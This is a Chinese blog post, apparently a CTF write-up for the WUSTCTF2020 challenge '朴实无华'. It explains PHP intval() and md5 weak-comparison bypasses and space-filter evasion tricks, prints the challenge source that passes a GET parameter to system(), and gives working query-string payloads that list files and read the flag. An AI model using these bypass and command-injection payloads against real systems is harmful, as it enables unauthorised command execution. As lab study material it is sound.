当前位置:网站首页>intval md5绕过之[WUSTCTF2020]朴实无华
intval md5绕过之[WUSTCTF2020]朴实无华
2022-07-25 11:47:00 【一只Traveler】
知识点:
01 intval()函数的绕过
根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
intval函数还可以用于判断回文串,因为intval函数的最大值取决于操作系统,如果字符串的回文超过了最大的范围值,那么返回的值就也是原来的字符串,就会变成回文串,实现了绕过。
02 md5绕过
==弱类型绕过:
比如
$a!=$b&&md($a)==md5($b)
可以使用0e开头的科学计数来绕过,使用0e215962017、QNKCDZO、s878926199a;
$a==md5($a)时使用科学计数0e215962017
强类型比较===
a!==b md值要相等;
使用工具,或者数组;
03.空格绕过
< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
回到题目:
扫描文件:发现robots.txt;
打开发现的php;
观察响应头发现还有fl4g.php;
打开得到源码;
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?> 这里的三个绕过用到上面的知识点:
直接payload
?num=2e4&md5=0e215962017&get_flag=ls
得到文件列表:
?num=2e4&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
边栏推荐
猜你喜欢
随机推荐
R language uses the ggarrange function of ggpubr package to combine multiple images, and uses the ggexport function to save the visual images in JPEG format (width parameter specifies width, height pa
微软Azure和易观分析联合发布《企业级云原生平台驱动数字化转型》报告
2022河南萌新联赛第(三)场:河南大学 I - 旅行
Location analysis of recording an online deadlock
Ansible
[dark horse morning post] eBay announced its shutdown after 23 years of operation; Wei Lai throws an olive branch to Volkswagen CEO; Huawei's talented youth once gave up their annual salary of 3.6 mil
OSPF comprehensive experiment
keepalived实现mysql的高可用
Pairwise comparison of whether the mean values between R language groups are the same: pairwise hypothesis test of the mean values of multiple grouped data is performed using pairwise.t.test function
scrapy 设置随机的user_agent
3.2.1 what is machine learning?
Behind the screen projection charge: iqiyi's quarterly profit, is Youku in a hurry?
Add a little surprise to life and be a prototype designer of creative life -- sharing with X contestants in the programming challenge
【三】DEM山体阴影效果
1.1.1 欢迎来到机器学习
Learning to pre train graph neural networks
阿里云技术专家秦隆:可靠性保障必备——云上如何进行混沌工程?
Jenkins configuration pipeline
R language Visual scatter diagram, geom using ggrep package_ text_ The rep function avoids overlapping labels between data points (set the min.segment.length parameter to inf and do not add label segm
Week303 of leetcode (20220724)








